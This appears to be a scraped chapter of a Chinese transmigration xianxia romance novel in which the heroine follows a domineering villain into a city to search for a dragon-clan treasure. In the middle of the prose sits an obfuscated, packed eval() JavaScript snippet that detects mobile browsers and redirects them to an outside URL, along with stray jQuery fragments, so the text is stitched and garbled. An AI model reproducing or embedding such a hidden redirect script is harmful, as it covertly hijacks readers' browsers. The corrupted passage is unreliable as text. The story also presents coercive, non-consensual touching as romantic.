17. 第十七章 南清城
作品:《我和修真反派绑一起穿进古言书》 晨光熹微,桑润砚迷迷糊糊感觉一股刺痛从掌心蔓延全身,她猛地睁眼,就看到萧衍穿着一身玄衣,大喇喇坐在床对面的椅子上,似笑非笑地看着她。
桑润砚下意识把被子裹紧,挣扎着起来,怯怯地把自己缩成一团,“老大,我马上起来。”
萧衍没说话,也没有要避开的意思,甚至很有闲情逸致地给自己倒了杯茶,欣赏着桑润砚的窘态。
此时她身上就穿了件肚兜,系在脖子上的红线愈发衬得肌肤莹白如玉,圆润的肩膀在披散的长发中若隐若现。
啧,什么都看见了还自欺欺人地遮呢。
“老大……我很快的。”
注意到萧衍玩味的目光,桑润砚的手指不自觉的蜷了蜷,纤纤葱白的手指因用力微微透着点粉,在素色的被子上格外显眼。
萧衍愈发来了兴趣,他放下茶杯,以为他要走的桑润砚还没彻底松下一口气,就见萧衍慢条斯理走进,轻佻地勾起她的下巴,肆无忌惮看着她眼中的惊慌失措。
萧衍迫使桑润砚抬头,居高临下地摩挲着她温软的脸,“我凭什么离开?”
随着萧衍低头凑近,他又闻到了熟悉浓郁的香甜气息,萧衍的呼吸撞到桑润砚的肌肤,烫得她打了个哆嗦,不禁缩了缩脖子。
桑润砚被撩拨的脸颊微红,表情呆呆的,一动不敢动。
萧衍本来是要观测一下惊霆到底是怎么进阶桑润砚的治愈能力,奈何它被萧衍唤出,但是装死,他冷哼一声,眼睛死死盯着睡得正香的桑润砚。
过了一会儿,萧衍不想让桑润砚睡得那么舒服,直接用傀儡咒把她叫了起来。
但是现在,逗弄了一番宠物的萧衍心情大好,他终于大发慈悲地移开松开了手,离开房间。
萧衍离开后,桑润砚麻溜起床,赶紧给自己套上衣服,不自觉摸了摸发红的脸颊,深吸一口气强迫自己镇定。
捉摸不透萧衍的心思,绝对不要着了他的道。
收拾妥当后,桑润砚下楼就看到在门口的萧衍,快步上前。
只见萧衍双手结印,桑润砚在后面好奇地张望,小楼周围就显现了金光咒印,紧接着消失在了周围。
萧衍转身,揪着桑润砚的衣领歪头调笑,“走吧,小乖。”
桑润砚还没反应过来就被带到了天上,这次不用她说,萧衍主动给桑润砚开了防风罩,毕竟他现在对桑润砚这个宠物的兴趣正浓,可不能轻易让她死了。
被人拽着后脖领子的感觉十分不好受,桑润砚稍稍扭了扭身体,下一秒腰部被拍了一掌,还收到了萧衍冷声警告:“别乱动。”
桑润砚心惊胆战,不可置信地回头看了一眼萧衍,昨天晚上系统还说要自己攻略萧衍,这不等自己拿定注意,萧衍就这么眼巴巴凑上来了?
萧衍审视着桑润砚的反应就像是在看一件还能赢得自己几分兴趣的玩具,好玩,新奇。
桑润砚虽然看不懂萧衍眼神中的意味深长,但她能看出那不是喜欢,她莫名松了口气,她就说,萧衍不是吃干饭的。
不过,萧衍对她还稍稍有点特殊,应该算是培养出一点上下级的感情了吧?至于肢体接触……那应该是偶然,萧衍这个心狠手辣的反派是绝对不可能对自己动心的。
随着二人刚到南清城附近,入眼的就是城门外大片无人打理的盛阳花,开得肆意张扬。
桑润砚跟着萧衍一直走了好长时间,刚入城门,映入眼帘的是一条繁华的街道,熙熙攘攘的人群好不热闹。
中午的太阳有点大,萧衍人家连汗都不淌,太晒了,眼前正巧有一个买伞的摊位,桑润砚决定买一把伞遮阳。
商贩老板看着年纪在三十岁出头,热情的招呼着桑润砚,“小姑娘来这看看,我这儿的伞质量是最好的。”
桑润砚犹豫的走向小贩老板,偷偷看了一眼萧衍见他没反对,自己才选了一把青绿色的油纸伞遮阳。
“老板,南清城每天都这么热闹吗?”选伞的间隙,桑润砚跟老板闲聊。
摊贩老板很健谈,一边拿伞,一边解惑,南清城最近之所以那么热闹,是因为城主夫人今天过诞辰。
“话说我们城主和夫人成婚得有五年了,一直很恩爱,南清城也在他的治理下井井有条,城主还把夫人的诞辰作为全城的盛大节日,这一天天可是南清城百姓们都期盼的日子。”
伞最终被老板忽悠以十个铜板的价钱成交了。
临走老板还送了两个丑丑的香囊,上面还专门画上了笑脸,虽然不怎么好看,但是驱蚊是绰绰有余了,完美。
桑润砚把其中一个香囊递给旁边的萧衍,“老大给,驱蚊用的。”
萧衍没有动作,只是看了桑润砚一眼。
啧,有点子蠢。
他头也不回的走了。
“老大,我们怎么去找你要的东西啊。”桑润砚拿着香囊发懵,清晨的光映得她的发丝金灿,像悬崖瀑布倾泻,不管不顾撞进视线中。
萧衍默默收回神识,仔细搜索起周围街道。
按照之前的经验来说,含有龙族秘法的宝物一般威力很大,就算有人刻意隐瞒,那也会路出马脚,可他们愣是打听了半天,就没有一件奇怪的事在南清城发生。
而且实际上桑润砚根据惊霆的提示,明明得到的气息就在这里。
“城主大人…”
远处,人群簇拥着什么慢慢往二人方向走来。吵吵闹闹的声响打断了萧衍的思绪。
那是一辆尊贵璀璨的花车。
轿顶缯帛华丽,流光溢彩,嵌有宝石刻着错金龙凤纹,马前銮铃清脆悦耳,上面的一对男女衣着华丽,地位非凡。
城主和城主夫人的花车同游,二人穿着同色系的红金华贵锦装,男俊女美。
城主夫人一看就是恬静温柔的美人,湖水般清澈的眼眸,鼻梁小巧,红唇饱满,即使不笑也似含情,端庄典雅,和城主一起对百姓们打招呼。而城主时不时望向城主夫人,眼神里满是深情。
萧衍不动声色地观察着城主夫人和城主的姿态神情,他能感受到这个地方有一丝微弱的龙族气息,可这种似乎遍地都有,东西的具体位置他还不能完全确定。
花车到了城楼旁,城主温柔地牵起城主夫人的手,一起登到最高处,城主俯视着聚集在一起的百姓,声音温润清朗。
“欢迎各位参加蓁儿的生辰宴,届时府中家丁会沿街发放喜钱,祝大家安康顺意!”
真虚伪。
萧衍向来看不得作呕的深情款款,他移开的视线落在了聚精会神看热闹的桑润砚身上。
她倒是什么都看得津津有味。
刚刚的小贩说,届时城主府将会在节日开放,城主与城主夫人与民同乐,萧衍准备去城主府探探虚实。
萧衍轻点桑润砚的肩膀,走向城主府。
“老大你去哪?”桑润砚见萧衍朝前走,自己只好跟着他。
城主府门口,因为节日庆典,人流量很大,旁边支了个摊,家丁丫鬟正发着糕点和铜钱。
“你在这等着,别乱跑。”
萧衍不愿意带着桑润砚这个拖油瓶,自己上阵。
眨眼的功夫,桑润砚面前就没了人影。
门口城主府的管家,见桑润砚一个人呆呆站在原地,还以为她想多要几份喜钱。
他见惯了这种贪得无厌的人,只是城主和夫人向来心善,于是不耐烦拿着几个铜板走近。
管家个不高,人有点发福,头发还有点稀疏,一张口,桑润砚就瞧见了他那两颗有牙缝的大板牙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386027|200257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哪来的闲杂人,去去去,拿了钱一边去!”管家伸手让周围家丁赶人。
说着就要驱赶桑润砚离城主府远一点,萧衍走了,她自己也没把握能打得过管家,挠挠头,尝试性地给了管家二两银子。
“我可以进去吗?就是…当个小工。”
……
原来是来找活计的。
管家默不作声收了银子,轻咳一声,“至少二十两。”接着管家把期盼性的目光头像桑润砚。
但桑润砚很为难,囊中羞涩,她理不直气不壮的回答。
“那我没钱。”
当即管家的脸就垮下来了,冷哼一声,“没钱还想着要来城主府,穷鬼。”
桑润砚伸手就想要回给管家的二两银子,结果管家理都不理他。桑润砚气得不轻,但见他们人多势众,自己不好轻举妄动。
吃了个哑巴亏坐在城主府的台阶上,只好在原地等着萧衍。
直至晚霞缭绕,萧衍还没来,肚子饿了的桑润砚从小背包里掏出自己做的凤梨酥,没想到一个小白身影就此闪过,此时包里的糕点荡然无存。
桑润砚疑惑地看了看四周,过了一会儿才反应过来。
不对!
萧衍一回来就看见桑润砚举着空空荡荡的手,一脸不可置信的样子。
她受欺负了?
萧衍挑眉,似笑非笑弯腰,逡巡桑润砚的侧脸。
面前投下一片阴影,桑润砚身形被冷冽的气息笼罩,她抬眸正对上萧衍带着探究戏谑的眼神。
下意识的后仰的动作被萧衍预判,猛地被一只骨节分明的大手扣回腰身。
他们贴地极近,萧衍的指腹重重碾过桑润砚殷红水润的唇瓣,柔软湿热,指尖的触感好得要命,萧衍玩味的眸子变得雾沉沉的。
夕阳很好,却照不穿氤氲在二人身边的浓重,桑润砚只觉唇上一疼,委屈巴巴蹙眉,萧衍低沉带着点亵玩意味的声音接着响起:“怎么了?”
她想躲,却被他紧紧限制在怀里,只能无措地看着他,“好像有什么东西抢了我的凤梨酥,忽地一下过去了,我没看清。”
萧衍感知了下周围,发现那东西已经不见了踪影,能在这么短的时间跑出他的神识搜寻范围……萧衍眼睛微眯,看来这趟还要收获不少东西。
经过刚刚在城主府的搜寻,萧衍没察觉到什么有关龙族的强烈气息,反倒是有另一种味道——透着腐朽绝望的死气。
“先找个客栈。”萧衍大发慈悲松手,歪头看着桑润砚往后踉跄两步,嘴角笑意更深了。
原本热闹的大街不知什么时候一个人都没有。
找不到城门了,门卫也不见了,一回头,街上就只有几个零零散散的空摊子,没想到白天那么吵闹的街市,到了傍晚竟然有一丝恐怖阴森的气氛。
“老大……”,桑润砚声音微微发颤,她没想到自己居然能遇到这么反常的事。
萧衍顿时起了捉弄桑润砚的心思,他吊儿郎当的回头,满不在乎,“那就只能凑合一晚了。”
桑润砚知道他有办法,心里有点委屈还不敢表露出来,胸口急的微微起伏,嘴角微微下垂,也不说话,就这么眼巴巴地看着萧衍。
“怎么,你有意见?”萧衍歪头,低下头凑近桑润砚,语气里透出隐隐威胁。
“哦。”桑润砚无可奈何,又有点生气,窝窝囊囊地撇过头,不想看他。
萧衍见她这副敢怒不敢言的模样,像是逗弄宠物得逞的主人,从喉咙里溢出一丝轻笑。
被宠物哄开心了,萧衍这才回答,“这座城应该是被灵力围绕,我们暂时出不去,不过正好可以找找线索。”
线索?
桑润砚朝着萧衍的视线看过去,发现唯一一家在亮灯的客栈。

